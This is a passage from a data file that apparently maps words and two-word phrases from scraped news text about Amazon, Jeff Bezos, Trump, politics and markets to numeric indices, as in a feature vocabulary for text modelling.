164931, "voting reforms": 164932, "title leaves": 164933, "virginia justin": 164934, "741 shares": 164935, "group matt": 164936, "rawstory": 164937, "run prime": 164938, "trolling president": 164939, "strict stiff": 164940, "economic outlook": 164941, "conniver": 164942, "identity": 164943, "remain spanning": 164944, "health service": 164945, "pose variations": 164946, "trump orbit": 164947, "travel game": 164948, "threat contending": 164949, "michael gianari": 164950, "nrgi": 164951, "financial maneuvers": 164952, "analyst estimate": 164953, "tweet recently": 164954, "mutual life": 164955, "dryden pence": 164956, "departing": 164957, "251 657": 164958, "dirty dossier": 164959, "just prior": 164960, "tonight starbucks": 164961, "launch bid": 164962, "includes private": 164963, "biometric surveillance": 164964, "coastline indigenous": 164965, "post created": 164966, "frequently": 164967, "banter": 164968, "lost big": 164969, "sex activities": 164970, "regard known": 164971, "amazon continues": 164972, "google profit": 164973, "blame competition": 164974, "irbesartan": 164975, "personal dealingswith": 164976, "source danny": 164977, "adno": 164978, "president regardless": 164979, "releases": 164980, "behavioral": 164981, "greater access": 164982, "transparent": 164983, "judge asks": 164984, "higher currency": 164985, "mehlman": 164986, "child labor": 164987, "twitter democrat": 164988, "corner prime": 164989, "alleged deep": 164990, "warmly received": 164991, "pentagon allegiance": 164992, "great return": 164993, "oklahoma city": 164994, "jassy": 164995, "shopping times": 164996, "ministry added": 164997, "hulk hogan": 164998, "ms sanchez": 164999, "devils": 165000, "final notes": 165001, "innately overvalued": 165002, "queens": 165003, "congress sense": 165004, "faithful": 165005, "vivid world": 165006, "early fall": 165007, "addabbo veteran": 165008, "claire adam": 165009, "statutes involving": 165010, "bonwit": 165011, "actual deliveries": 165012, "naloxone families": 165013, "player clear": 165014, "workers apply": 165015, "consumer spend": 165016, "clip wasn": 165017, "maintain composure": 165018, "wealth quality": 165019, "house smelling": 165020, "ibm hots": 165021, "federal regulatory": 165022, "mean right": 165023, "hardly strong": 165024, "technology drawn": 165025, "amid unconfirmed": 165026, "sector leaders": 165027, "branded amazon": 165028, "organizations stay": 165029, "online small": 165030, "vendor ceo": 165031, "heavily favor": 165032, "simulation": 165033, "1510et": 165034, "published series": 165035, "questioned amazon": 165036, "company simply": 165037, "digital health": 165038, "return abuse": 165039, "spambots": 165040, "maziarz": 165041, "undocublack network": 165042, "subversive": 165043, "dc photo": 165044, "people died": 165045, "technical support": 165046, "pay internet": 165047, "apparent blackmail": 165048, "2006 aws": 165049, "voice literally": 165050, "amazon labour": 165051, "trade truce": 165052, "council transportation": 165053, "event pitting": 165054, "cnn nathaniel": 165055, "amzn baxter": 165056, "undisciplined": 165057, "acknowledged traffic": 165058, "illegal just": 165059, "manipulate": 165060, "bob bryan": 165061, "players kneeling": 165062, "pressuring company": 165063, "bezos main": 165064, "valued assets": 165065, "world great": 165066, "nearly doubled": 165067, "computing power": 165068, "increase politicians": 165069, "conclusions used": 165070, "treats property": 165071, "funding": 165072, "bradlander": 165073, "family dynamics": 165074, "bezos recorded": 165075, "sit alongside": 165076, "powerful companies": 165077, "islamic terrorist": 165078, "market fx": 165079, "shipping qanon": 165080, "northland securities": 165081, "availed": 165082, "lucy awards": 165083, "season promising": 165084, "skip steps": 165085, "meantime": 165086, "climb": 165087, "upstart website": 165088, "trump advances": 165089, "amazon teamed": 165090, "public parallel": 165091, "virgil": 165092, "terms ofthe": 165093, "billionto": 165094, "weibo post": 165095, "negated wage": 165096, "personal embarrass": 165097, "longtime warehouse": 165098, "65bn": 165099, "day possibly": 165100, "book publishers": 165101, "new neighbor": 165102, "impacting 2019": 165103, "claustrophobic nightmare": 165104, "signs point": 165105, "lose billions": 165106, "taken months": 165107, "documents published": 165108, "kenmeyer91": 165109, "posted gains": 165110, "higher standard": 165111, "candidate bernie": 165112, "barr scott": 165113, "including jet": 165114, "divorce political": 165115, "abramowitz refused": 165116, "writer yevgeny": 165117, "cyber security": 165118, "max jets": 165119, "printed version": 165120, "restaurant start": 165121, "book grant": 165122, "500 stores": 165123, "amzn ceo": 165124, "washington regions": 165125, "students just": 165126, "series batwoman": 165127, "towels": 165128, "best alternative": 165129, "anti people": 165130, "blige": 165131, "volume periods": 165132, "viewer noted": 165133, "brantley mar": 165134, "prosecutors bebest": 165135, "butterball turkey": 165136, "overall victory": 165137, "sales half": 165138, "owner ends": 165139, "consumers cite": 165140, "ex couple": 165141, "public image": 165142, "investigation looks": 165143, "amazon fantastical": 165144, "workers depend": 165145, "eulogy": 165146, "people david": 165147, "brant lhin": 165148, "daddy": 165149, "tough questioning": 165150, "york don": 165151, "medium term": 165152, "hutton": 165153, "study inside": 165154, "triple digits": 165155, "continually": 165156, "advisory services": 165157, "represents upside": 165158, "appeared set": 165159, "content keir": 165160, "circumvent potential": 165161, "concern versus": 165162, "union line": 165163, "correct actors": 165164, "power lunch": 165165, "help crony": 165166, "nbc midterms": 165167, "2741a sponsored": 165168, "asia stocks": 165169, "cellphone covers": 165170, "famously clandestine": 165171, "cashing": 165172, "directly responsible": 165173, "building warehouses": 165174, "lehman": 165175, "illustrated jake": 165176, "gadsby self": 165177, "brooker": 165178, "rattling nerves": 165179, "pop similar": 165180, "amazon soy": 165181, "periodically box": 165182, "billion respectively": 165183, "jefferson jeff": 165184, "puerini": 165185, "foods basket": 165186, "christmasiscoming": 165187, "potential support": 165188, "adoring": 165189, "fordham law": 165190, "prominent amazon": 165191, "encourage job": 165192, "help merchants": 165193, "deals online": 165194, "obsessed": 165195, "disarray": 165196, "agrochemicals amazon": 165197, "kosher ways": 165198, "fred lewis": 165199, "dive sister": 165200, "unusual creature": 165201, "anew bourdain": 165202, "collateral damage": 165203, "destroyed artwork": 165204, "fickling italy": 165205, "plunging ahead": 165206, "resolving": 165207, "report greenpeace": 165208, "data access": 165209, "seattle socialist": 165210, "blemish": 165211, "2018 eat": 165212, "arancha gonzalez": 165213, "cost 500": 165214, "elaborate fbi": 165215, "server prior": 165216, "bank announces": 165217, "combatting counterfeit": 165218, "latest developments": 165219, "yi told": 165220, "quite open": 165221, "relations trump": 165222, "fusion": 165223, "councilmember costa": 165224, "union bank": 165225, "ballots according": 165226, "ton": 165227, "bob corker": 165228, "reports cnbc": 165229, "l1313": 165230, "skilled tech": 165231, "100 women": 165232, "ancestors": 165233, "imports endanger": 165234, "elected office": 165235, "certain company": 165236, "major problems": 165237, "prime selection": 165238, "skift": 165239, "avoid levies": 165240, "s\u00e9": 165241, "president struggles": 165242, "macos": 165243, "worth 10bn": 165244, "2016 wholesale": 165245, "heard argument": 165246, "discuss proposal": 165247, "sitting presidents": 165248, "endless litigation": 165249, "market sorry": 165250, "bezos father": 165251, "iphone amazon": 165252, "reckless attacks": 165253, "hardware store": 165254, "president fight": 165255, "tuition preschool": 165256, "holdtheir nose": 165257, "100000 trust": 165258, "dozen protesters": 165259, "rt yes": 165260, "omens streaming": 165261, "abrams continue": 165262, "home 2018": 165263, "state representative": 165264, "elections source": 165265, "housekeeping": 165266, "authoritative reporting": 165267, "large companies": 165268, "firs": 165269, "criminal running": 165270, "heart inviting": 165271, "merchant data": 165272, "sports marketing": 165273, "childhood diseases": 165274, "alphabet stock": 165275, "passes assume": 165276, "help carry": 165277, "opaque": 165278, "rightful escalation": 165279, "arlington based": 165280, "394 shares": 165281, "microsoft offerup": 165282, "eat people": 165283, "macrovector freepik": 165284, "venture aimed": 165285, "killer walmart": 165286, "brilliant example": 165287, "containerid": 165288, "user psychology": 165289, "upping exposure": 165290, "eventually lured": 165291, "competition allows": 165292, "codex fundamentals": 165293, "trump talks": 165294, "ordinary stuff": 165295, "actual data": 165296, "mit joy": 165297, "patricof": 165298, "encouraged investors": 165299, "expects hundreds": 165300, "district reports": 165301, "regulated later": 165302, "fail amazon": 165303, "emotion attributes": 165304, "kovach amazon": 165305, "shattered peace": 165306, "corporation don": 165307, "residential deliveries": 165308, "clip bolduan": 165309, "main st": 165310, "taxing big": 165311, "public critiques": 165312, "number tracing": 165313, "citywide council": 165314, "target stores": 165315, "solomon explains": 165316, "clinton tyle": 165317, "makers lly": 165318, "christmas greeting": 165319, "regulations govern": 165320, "vendors receive": 165321, "revenue forces": 165322, "consumer debt": 165323, "just called": 165324, "cautioned trump": 165325, "harrowing life": 165326, "rail extension": 165327, "reality headsets": 165328, "major tech": 165329, "massive debt": 165330, "170 countries": 165331, "jacinta gonzalez": 165332, "trump michael": 165333, "player owned": 165334, "suggested venturebeat": 165335, "office wapo": 165336, "stars": 165337, "frustrate": 165338, "recurring segment": 165339, "park allows": 165340, "social environment": 165341, "sourceamazon puzder": 165342, "bins": 165343, "emergency col": 165344, "crediting": 165345, "candidates fail": 165346, "look familiar": 165347, "enrique": 165348, "slave": 165349, "markets inched": 165350, "previous worked": 165351, "vast authentic": 165352, "did bezos": 165353, "sanchez turned": 165354, "consumer subscribers": 165355, "democratic president": 165356, "rebuilding reviving": 165357, "sector unions": 165358, "director continued": 165359, "ext exlarge": 165360, "620 employees": 165361, "suit brought": 165362, "watch rep": 165363, "furnishings sector": 165364, "bad hersfeld": 165365, "current congress": 165366, "defence contracts": 165367, "bezos investigator": 165368, "lighter duty": 165369, "detective surprisingly": 165370, "navigate housing": 165371, "great pension": 165372, "budapest hungary": 165373, "big maybe": 165374, "titans": 165375, "sides quickly": 165376, "ships packages": 165377, "ecommerce heavyweight": 165378, "software rose": 165379, "ashes": 165380, "orvis": 165381, "fear rating": 165382, "doubleday biography": 165383, "flubbed": 165384, "altria possibly": 165385, "forests": 165386, "fail bezos": 165387, "remain jailed": 165388, "administration regulators": 165389, "escalated quickly": 165390, "intentions years": 165391, "handicap": 165392, "lebanese syrian": 165393, "blistering stock": 165394, "karen": 165395, "workforce development": 165396, "expect fully": 165397, "positions bigger": 165398, "joffre taylor": 165399, "clubs groups": 165400, "largest electronics": 165401, "wallace inspired": 165402, "report shows": 165403, "encouraging think": 165404, "energy fuels": 165405, "fcpa": 165406, "updating lost": 165407, "sachs analyst": 165408, "comment share": 165409, "oil exporters": 165410, "amazon 613": 165411, "promoted president": 165412, "fame bbc": 165413, "writers organization": 165414, "katsu": 165415, "past 2030": 165416, "site whilst": 165417, "trump lock": 165418, "sus": 165419, "optical illusion": 165420, "tweeting criticisms": 165421, "sharing information": 165422, "trump arguing": 165423, "bulky items": 165424, "called swing": 165425, "feeding frenzy": 165426, "diagnosed": 165427, "sanjeev mohan": 165428, "america dodge": 165429, "brazile": 165430, "inverting yield": 165431, "similar calls": 165432, "230 metropolitan": 165433, "inflation posts": 165434, "areas siddiqui": 165435, "denied having": 165436, "night mocked": 165437, "administration review": 165438, "deep concern": 165439, "rabobank": 165440, "financial sanctions": 165441, "information bezos": 165442, "launches apple": 165443, "laws dodges": 165444, "upgraded delivery": 165445, "glitterati": 165446, "yang campaign": 165447, "pulling john": 165448, "defend trump": 165449, "massive job": 165450, "prayers": 165451, "tax benefit": 165452, "crimes happening": 165453, "inc_react_displayflag true": 165454, "quite compelling": 165455, "lawmaker jo\u0119nia": 165456, "pineiro president": 165457, "adm": 165458, "job engine": 165459, "confusing": 165460, "nations agency": 165461, "lovejoy": 165462, "iranian president": 165463, "specifically target": 165464, "margins today": 165465, "american killed": 165466, "study diet": 165467, "2018 godwink": 165468, "elites spew": 165469, "contention amazon": 165470, "certainly possible": 165471, "facebook messenger": 165472, "official position": 165473, "helped chase": 165474, "general wrotea": 165475, "publishersnewswire": 165476, "strength nasdaq": 165477, "ferrar million": 165478, "2017 event": 165479, "time doing": 165480, "enduring long": 165481, "outdoor brands": 165482, "placing insurance": 165483, "actors accountable": 165484, "bloodletting": 165485, "slightly broader": 165486, "exclusive possession": 165487, "obama shirt": 165488, "olympics reporter": 165489, "ami admitted": 165490, "food diary": 165491, "suppressing good": 165492, "exposing david": 165493, "amazon wages": 165494, "tailings": 165495, "ansolabehere professor": 165496, "time wealth": 165497, "domiciled": 165498, "quick meals": 165499, "article concluding": 165500, "giant exerts": 165501, "invited wide": 165502, "longer pursuing": 165503, "var i9": 165504, "time weakening": 165505, "transporting drug": 165506, "market debut": 165507, "josh miller": 165508, "slamming amazon": 165509, "location countless": 165510, "tensions surrounding": 165511, "acmi contracts": 165512, "willens file": 165513, "outspoken": 165514, "spending billions": 165515, "amazon takeover": 165516, "seek secrecy": 165517, "wherethey": 165518, "landless encampment": 165519, "goodman business": 165520, "chan": 165521, "smoky today": 165522, "lifting longstanding": 165523, "burnett outfront": 165524, "story terrence": 165525, "a4ee m1": 165526, "encourage culture": 165527, "competition sectors": 165528, "make community": 165529, "icap": 165530, "amazon sucks": 165531, "sen addabbo": 165532, "financial breaches": 165533, "director john": 165534, "employee stated": 165535, "gros fromage": 165536, "founding amazon": 165537, "200 industry": 165538, "today pic": 165539, "etf nasdaq": 165540, "explosive": 165541, "centre costs": 165542, "new special": 165543, "printing letters": 165544, "ocean global": 165545, "late 1970s": 165546, "canada china": 165547, "teo": 165548, "smiled broadly": 165549, "viewpoint suppose": 165550, "asean trade": 165551, "dod wants": 165552, "post photo": 165553, "vitale": 165554, "man spreads": 165555, "wardrobe disappeared": 165556, "record earnings": 165557, "amazon ranked": 165558, "overwhelmingly white": 165559, "help results": 165560, "hurt amazon": 165561, "reconcilable commitment": 165562, "competition brazil": 165563, "justawittybit": 165564, "pentagon effort": 165565, "investigation really": 165566, "reportedly experiencing": 165567, "case entails": 165568, "bit": 165569, "activists reacted": 165570, "previously derided": 165571, "promote merchandise": 165572, "approximately 000": 165573, "headache persists": 165574, "reportedly colluded": 165575, "global stocks": 165576, "plot thickened": 165577, "hitherto absolutely": 165578, "italy food": 165579, "reputations livelihoods": 165580, "prospects munster": 165581, "department regulations": 165582, "inexpensive amazon": 165583, "benefits citing": 165584, "significant expertise": 165585, "year including": 165586, "advertising video": 165587, "india richest": 165588, "claims aside": 165589, "porri sainsbury": 165590, "declaring victory": 165591, "reviews calling": 165592, "outnumbered puts": 165593, "blow things": 165594, "chien noted": 165595, "wsj laura": 165596, "report google": 165597, "ballard resident": 165598, "post protecting": 165599, "dbx etf": 165600, "sheet power": 165601, "dear": 165602, "talking collusion": 165603, "lambs": 165604, "trump strikes": 165605, "political desperation": 165606, "erecting": 165607, "investigating alleged": 165608, "colleague claire": 165609, "create category": 165610, "branded products": 165611, "giving conservatives": 165612, "alexandra shipp": 165613, "exas shares": 165614, "tv reporter": 165615, "transforming": 165616, "management systems": 165617, "orphaned": 165618, "overcame aggressive": 165619, "care analyst": 165620, "rico": 165621, "programming copyright": 165622, "packages landing": 165623, "nyse txn": 165624, "political stunt": 165625, "phases": 165626, "brings results": 165627, "reines": 165628, "deep freeze": 165629, "mean sure": 165630, "1541": 165631, "just trump": 165632, "news bret": 165633, "tanquilut took": 165634, "todayshow": 165635, "saying hey": 165636, "780 type": 165637, "york audience": 165638, "borowitz": 165639, "billions dodging": 165640, "tax calculator": 165641, "backdating": 165642, "consider reading": 165643, "journal columnist": 165644, "cuseum app": 165645, "saut chief": 165646, "brett molina": 165647, "000 schools": 165648, "opinion sen": 165649, "month seattle": 165650, "critically wounded": 165651, "favours political": 165652, "dynasty thousand": 165653, "mail reported": 165654, "salacious texts": 165655, "privately advised": 165656, "winning columnist": 165657, "news jeff": 165658, "gould defense": 165659, "manhattan properties": 165660, "delivery capacity": 165661, "california country": 165662, "disruptive billionaires": 165663, "building political": 165664, "bellevue washington": 165665, "soller hanya": 165666, "sources telling": 165667, "incredible convenience": 165668, "films suggest": 165669, "traditionally defended": 165670, "david kahan": 165671, "scott desjarlais": 165672, "trump threw": 165673, "reporting functions": 165674, "wsj wsj": 165675, "temper future": 165676, "process called": 165677, "promote organizations": 165678, "avoiding conflicts": 165679, "make separating": 165680, "musk facebook": 165681, "heightening": 165682, "year argues": 165683, "individual investors": 165684, "airbus ceo": 165685, "installation": 165686, "tm provide": 165687, "president woodward": 165688, "moment brother": 165689, "adding overall": 165690, "science videos": 165691, "book releases": 165692, "doorstep currently": 165693, "oppo devices": 165694, "using built": 165695, "oflikely": 165696, "run powered": 165697, "john rossomando": 165698, "unwanted visitors": 165699, "sponsor free": 165700, "toys spurred": 165701, "stuffer gift": 165702, "constantly quote": 165703, "state sultan": 165704, "remains focused": 165705, "timely cuse": 165706, "shinzo": 165707, "tapaj\u00f3s mega": 165708, "considered quitting": 165709, "tweeted amazon": 165710, "week talks": 165711, "vendors need": 165712, "17th": 165713, "larkin": 165714, "evening yes": 165715, "expeditions took": 165716, "largest firms": 165717, "attracting criticism": 165718, "ire multiple": 165719, "today subscribe": 165720, "circulation ami": 165721, "memory wrong": 165722, "weekend criticized": 165723, "halts oil": 165724, "cooling": 165725, "credit allows": 165726, "face include": 165727, "inhuman conditions": 165728, "demonstrates": 165729, "slate nicole": 165730, "1960s having": 165731, "dramatically increasing": 165732, "christmas seasons": 165733, "npis": 165734, "making brick": 165735, "tabloid nbc": 165736, "despite republican": 165737, "qanon conspiracy": 165738, "moore graywolf": 165739, "hasn provided": 165740, "stiff competition": 165741, "reporting sex": 165742, "business partners": 165743, "suggestion send": 165744, "murderous cult": 165745, "consider outrageous": 165746, "sleeved button": 165747, "leading voice": 165748, "heaven": 165749, "jetsons": 165750, "1270x734 uploaded_files": 165751, "potential crackdown": 165752, "unknown extent": 165753, "antitrust reasons": 165754, "carpal": 165755, "perfectly natural": 165756, "conductor gustavo": 165757, "sternly": 165758, "coast guard": 165759, "prominent companies": 165760, "cms inhibit": 165761, "steemit": 165762, "food drink": 165763, "judged fewer": 165764, "harry abrams": 165765, "original source": 165766, "addeventlistener r4ee": 165767, "make hush": 165768, "presidential untruths": 165769, "nearing": 165770, "mail theft": 165771, "best long": 165772, "ejyejuwyxo": 165773, "distant lunch": 165774, "lmao": 165775, "percenters": 165776, "bristle": 165777, "accusing fox": 165778, "ideaof voting": 165779, "synopsis": 165780, "billion sanders": 165781, "contracting makes": 165782, "charities cca": 165783, "byrne": 165784, "self respective": 165785, "contains number": 165786, "driving rings": 165787, "korean bbq": 165788, "potential deals": 165789, "calif based": 165790, "suggested facebook": 165791, "000 containers": 165792, "outlines litany": 165793, "janet": 165794, "europe holding": 165795, "house ext": 165796, "half right": 165797, "typo": 165798, "ohio west": 165799, "news thanks": 165800, "briscobrands": 165801, "multiple business": 165802, "painted picture": 165803, "transportation network": 165804, "unique products": 165805, "projects billion": 165806, "day today": 165807, "says tax": 165808, "compete directly": 165809, "rich returning": 165810, "opened factories": 165811, "wasn jersey": 165812, "powered aircraft": 165813, "mere suggestion": 165814, "offer kremer": 165815, "prevent abusive": 165816, "moment amazon": 165817, "shortcomings legal": 165818, "dollars president": 165819, "natives flooding": 165820, "comment neil": 165821, "rates washington": 165822, "gloomier estimates": 165823, "skype nokia": 165824, "product endorsement": 165825, "thesenate": 165826, "personality don": 165827, "streetwear collab": 165828, "originalimageurl cdn": 165829, "increase oil": 165830, "caputo refused": 165831, "figures amazon": 165832, "newspaper paper": 165833, "alan boyle": 165834, "rick wilking": 165835, "damning": 165836, "alluring presentation": 165837, "losing elections": 165838, "senate right": 165839, "torpedoing": 165840, "momsdemand": 165841, "emergency photo": 165842, "payoffs": 165843, "mail order": 165844, "won say": 165845, "apple tv": 165846, "slate": 165847, "twitter politiseeds": 165848, "employee asks": 165849, "violence vatican": 165850, "step forward": 165851, "spookiest": 165852, "planted": 165853, "2016 shortly": 165854, "wedbush maintains": 165855, "backlash fbi": 165856, "man announced": 165857, "2016 headlined": 165858, "immigration topic": 165859, "guiding spirit": 165860, "certain segments": 165861, "malinchak": 165862, "noel": 165863, "containing directives": 165864, "win handily": 165865, "tom hiddleston": 165866, "suleiman inviting": 165867, "buddies abc": 165868, "news sites": 165869, "2013 aws": 165870, "delineating": 165871, "suing wapo": 165872, "douglas superintendent": 165873, "reporter asked": 165874, "latest tariffs": 165875, "bezos hired": 165876, "galloway": 165877, "london amazon": 165878, "bernadette baum": 165879, "worth texas": 165880, "woods": 165881, "lgbt marriage": 165882, "soiling": 165883, "dprk": 165884, "hotel just": 165885, "tipped": 165886, "offer wide": 165887, "paints grim": 165888, "similar proposals": 165889, "oral sex": 165890, "mark amazon": 165891, "chef provides": 165892, "written great": 165893, "arrangements benefiting": 165894, "little engagement": 165895, "telemark": 165896, "amazon thoughts": 165897, "shows weed": 165898, "sandhya taneja": 165899, "bet retirement": 165900, "individual ownership": 165901, "supporting electoral": 165902, "people threatening": 165903, "chrysler withdraws": 165904, "letter ellison": 165905, "creating stories": 165906, "program erroneously": 165907, "federal agencies": 165908, "consumers data": 165909, "hemingway": 165910, "cities left": 165911, "temporarily ran": 165912, "kitchen utensil": 165913, "right trump": 165914, "manager josh": 165915, "headlines think": 165916, "artisan": 165917, "das losing": 165918, "wildfires ohio": 165919, "time 2018": 165920, "consider changes": 165921, "problem staying": 165922, "brazilian dictatorship": 165923, "broad onerous": 165924, "faced small": 165925, "costs earlier": 165926, "america trade": 165927, "warned users": 165928, "wide web": 165929, "amazon stock": 165930, "backward looking": 165931, "135": 165932, "minor": 165933, "ceremony ring": 165934, "searches begin": 165935, "huh najarian": 165936, "influence media": 165937, "pregnant women": 165938, "promotional rate": 165939, "blasio worst": 165940, "barrier": 165941, "greater phoenix": 165942, "year contract": 165943, "digest": 165944, "devices haven": 165945, "supporting immigrants": 165946, "owns 395": 165947, "slather": 165948, "powerful employer": 165949, "paper reporting": 165950, "robert sietsema": 165951, "grocery store": 165952, "random r4ee": 165953, "considering filing": 165954, "proposal does": 165955, "term trump": 165956, "hire booking": 165957, "clear ultimately": 165958, "faces worker": 165959, "story detailing": 165960, "killed ivanka": 165961, "florida rep": 165962, "eternal sunshine": 165963, "prime delivery": 165964, "ford indonesia": 165965, "relative handful": 165966, "eliminator a4ee": 165967, "album space": 165968, "government entities": 165969, "fun": 165970, "ridgewood": 165971, "antoni": 165972, "paedos executed": 165973, "sexism": 165974, "holzer": 165975, "ebay according": 165976, "firm evidence": 165977, "suggestion loup": 165978, "heavy duty": 165979, "israeli authorities": 165980, "llc covering": 165981, "ellie laurel": 165982, "lamb foto": 165983, "size queen": 165984, "gay council": 165985, "fold pg": 165986, "police renewed": 165987, "add thousands": 165988, "companies based": 165989, "card lending": 165990, "failures zuker": 165991, "just politically": 165992, "california whooping": 165993, "major action": 165994, "practice trying": 165995, "related titles": 165996, "micro adds": 165997, "aws regions": 165998, "inheritance hawaii": 165999, "work better": 166000, "market history": 166001, "book rise": 166002, "close paris": 166003, "octopuses": 166004, "gained touch": 166005, "follow ser": 166006, "cap welcome": 166007, "little los": 166008, "small town": 166009, "drug free": 166010, "strong selection": 166011, "portrayal": 166012, "potential ferry": 166013, "john blackledge": 166014, "objectively assess": 166015, "000 vans": 166016, "multiple outlets": 166017, "announcement ciecko": 166018, "post ipo": 166019, "7million": 166020, "option amazon": 166021, "amazing teacher": 166022, "negative opinions": 166023, "expensive brake": 166024, "equally mistaken": 166025, "members questioned": 166026, "election president": 166027, "videopinner setisvideocollection": 166028, "service board": 166029, "amazon vintage": 166030, "consumer products": 166031, "uncoupling statement": 166032, "kimber": 166033, "story horrible": 166034, "south new": 166035, "chris rupkey": 166036, "vital corroboration": 166037, "customers moved": 166038, "ulta amazon": 166039, "drafting": 166040, "providing tech": 166041, "000 indigenous": 166042, "online tv": 166043, "women deb": 166044, "boston startup": 166045, "past critics": 166046, "cash reserve": 166047, "fund esl": 166048, "companies earning": 166049, "erasing": 166050, "linton": 166051, "contracts analysts": 166052, "depaolo joe_depaolo": 166053, "start denying": 166054, "opening gw": 166055, "republicans dumped": 166056, "ami deal": 166057, "sectors big": 166058, "city employment": 166059, "republican leaders": 166060, "communications shift": 166061, "underrepresented minority": 166062, "angeles news": 166063, "america groveling": 166064, "area officials": 166065, "record levels": 166066, "bond king": 166067, "economic adviser": 166068, "false img_rightsflag": 166069, "involved box": 166070, "expensive homes": 166071, "valuable corporation": 166072, "book versions": 166073, "current seattle": 166074, "executive orders": 166075, "monopoly based": 166076, "criticizes unfavorable": 166077, "soothing beauty": 166078, "icann insiders": 166079, "service shifted": 166080, "hernandez murder": 166081, "invention happening": 166082, "glenview": 166083, "making seattle": 166084, "classmate alyssa": 166085, "ryan season": 166086, "videocollectionurl": 166087, "stakes 210": 166088, "big boost": 166089, "friend katerina": 166090, "tennessee ___": 166091, "guy jeff": 166092, "research park": 166093, "correspondent facebook": 166094, "2tn": 166095, "legendary guests": 166096, "awarding": 166097, "randi marshall": 166098, "electronic wrath": 166099, "story tom": 166100, "elbow": 166101, "help disney": 166102, "lets entrepreneurs": 166103, "association necessarily": 166104, "added value": 166105, "announce officially": 166106, "life advice": 166107, "mac": 166108, "beings": 166109, "outstanding stock": 166110, "complaints": 166111, "white supremacist": 166112, "net 5067014667001": 166113, "consultant nationally": 166114, "inflation 2018": 166115, "jpg uploaded_files": 166116, "haaland johnson": 166117, "congress rolled": 166118, "bible claims": 166119, "including refusing": 166120, "replace gross": 166121, "reap amazon": 166122, "new zealander": 166123, "disproved": 166124, "vainly": 166125, "acquisition anytime": 166126, "hanna departure": 166127, "california cable": 166128, "6th arrived": 166129, "precisely": 166130, "sign bruce": 166131, "tightened workplace": 166132, "quote link": 166133, "prices amazon": 166134, "free trump": 166135, "696": 166136, "ignite": 166137, "rising cents": 166138, "pitch just": 166139, "sparked rally": 166140, "cap stocks": 166141, "plunge drops": 166142, "challenging situation": 166143, "average order": 166144, "paid 129m": 166145, "statement reversing": 166146, "foreign nationals": 166147, "smart ass": 166148, "gop know": 166149, "dillard foto": 166150, "erstwhile presidential": 166151, "president suspicious": 166152, "frequently targeting": 166153, "recent complaint": 166154, "hard line": 166155, "devastating promising": 166156, "skin color": 166157, "adventurer drug": 166158, "make minority": 166159, "2018 noting": 166160, "students thompson": 166161, "today close": 166162, "continue raising": 166163, "cellphone just": 166164, "justice kennedy": 166165, "bargaining powers": 166166, "washable": 166167, "race interesting": 166168, "ceo world": 166169, "foreclose": 166170, "costing usps": 166171, "iphone compatible": 166172, "burn unit": 166173, "unique lot": 166174, "yotam": 166175, "0cbed4decce7 source": 166176, "netflix filed": 166177, "earth according": 166178, "times reports": 166179, "obama summer": 166180, "2016 2017": 166181, "include alibaba": 166182, "different accounts": 166183, "caretaker": 166184, "intruding": 166185, "pricing trump": 166186, "finances shows": 166187, "ph": 166188, "dominance poses": 166189, "upcoming opening": 166190, "weeks long": 166191, "firmly": 166192, "complicated process": 166193, "fairly similar": 166194, "unique power": 166195, "digital market": 166196, "fox london": 166197, "david betras": 166198, "advertising long": 166199, "sheffieldissuper cork": 166200, "cynthia nixon": 166201, "engineers utilized": 166202, "channel correspondent": 166203, "shanahan audition": 166204, "watch american": 166205, "toyota alcoa": 166206, "looming partial": 166207, "h6a m6a": 166208, "office seizes": 166209, "china central": 166210, "foreign born": 166211, "negated": 166212, "amazon 270": 166213, "cousins": 166214, "did fedex": 166215, "easy stupid": 166216, "judge overruled": 166217, "abortion expand": 166218, "trump criminal": 166219, "total q2": 166220, "domain incite": 166221, "cortez voracious": 166222, "brink": 166223, "compliance issue": 166224, "nearly sinks": 166225, "television review": 166226, "age dilemmas": 166227, "nomination wrote": 166228, "perceived racists": 166229, "stormy days": 166230, "learning market": 166231, "administrators": 166232, "sachs chief": 166233, "effectively ends": 166234, "based publisher": 166235, "illicit gains": 166236, "menzel joined": 166237, "brexit agreement": 166238, "furnishings want": 166239, "reported decline": 166240, "military operations": 166241, "bramer amazon": 166242, "condemn workers": 166243, "good buy": 166244, "guilty plea": 166245, "instigation": 166246, "difficult especially": 166247, "usable": 166248, "mi5": 166249, "cortez thinks": 166250, "singer chicha": 166251, "course yes": 166252, "circulated amazon": 166253, "statistics firm": 166254, "publicly riffed": 166255, "shows bezos": 166256, "camera feature": 166257, "deliver nearly": 166258, "statement claiming": 166259, "someones": 166260, "munro leighton": 166261, "launch contracts": 166262, "saving strategy": 166263, "500 stock": 166264, "manipulating search": 166265, "fulfilling life": 166266, "adversarial usually": 166267, "amazon regulator": 166268, "told electrical": 166269, "woeful": 166270, "gms": 166271, "chicago cop": 166272, "interests bezos": 166273, "twitter comments": 166274, "largest competitors": 166275, "nonfiction simon": 166276, "suggests prudent": 166277, "icann survive": 166278, "date facebook": 166279, "corporations organizations": 166280, "cucumbers": 166281, "multiple marketplaces": 166282, "andr\u00e9s": 166283, "waived local": 166284, "steep ascent": 166285, "227180": 166286, "democrats hate": 166287, "analogy won": 166288, "bigger bank": 166289, "street profit": 166290, "colm": 166291, "leaders jonathan": 166292, "film challenges": 166293, "democratic state": 166294, "threaded": 166295, "shameful": 166296, "weekly win": 166297, "winery": 166298, "timeless truth": 166299, "chefs": 166300, "body snatchers": 166301, "medium cheekily": 166302, "boss repeated": 166303, "early 2017": 166304, "new nextday": 166305, "sleeper": 166306, "animation created": 166307, "leading contributor": 166308, "proof stocks": 166309, "maker iti": 166310, "series castlevania": 166311, "retail experience": 166312, "customers according": 166313, "doherty": 166314, "indirectly": 166315, "combo": 166316, "fbi rightfulauthority": 166317, "bring headlineposttext": 166318, "controversy involving": 166319, "siraj": 166320, "elevens": 166321, "cartoon jerusalem": 166322, "solutions trump": 166323, "owned publication": 166324, "trump thing": 166325, "reports began": 166326, "left shark": 166327, "city run": 166328, "unfair": 166329, "tweet mocking": 166330, "published ads": 166331, "tweet followed": 166332, "director simon": 166333, "participates": 166334, "denied job": 166335, "mind realdonaldtrump": 166336, "tux\u00e1 coordinator": 166337, "city deal": 166338, "resides": 166339, "accomplishing close": 166340, "amazon fy19": 166341, "summer slides": 166342, "beneath state": 166343, "provide great": 166344, "sanchez talent": 166345, "delivery programs": 166346, "sporting masks": 166347, "developing market": 166348, "bad remember": 166349, "trump counts": 166350, "hulu impeachobama": 166351, "necessary gigantic": 166352, "services project": 166353, "neighbor": 166354, "wealthiest person": 166355, "threatens security": 166356, "t6grrlczs8": 166357, "good looking": 166358, "defend working": 166359, "having jurisdiction": 166360, "ads north": 